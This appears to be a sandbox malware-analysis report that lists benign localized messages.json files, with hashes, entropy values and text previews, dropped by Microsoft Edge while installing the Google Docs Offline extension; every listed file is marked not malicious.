SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
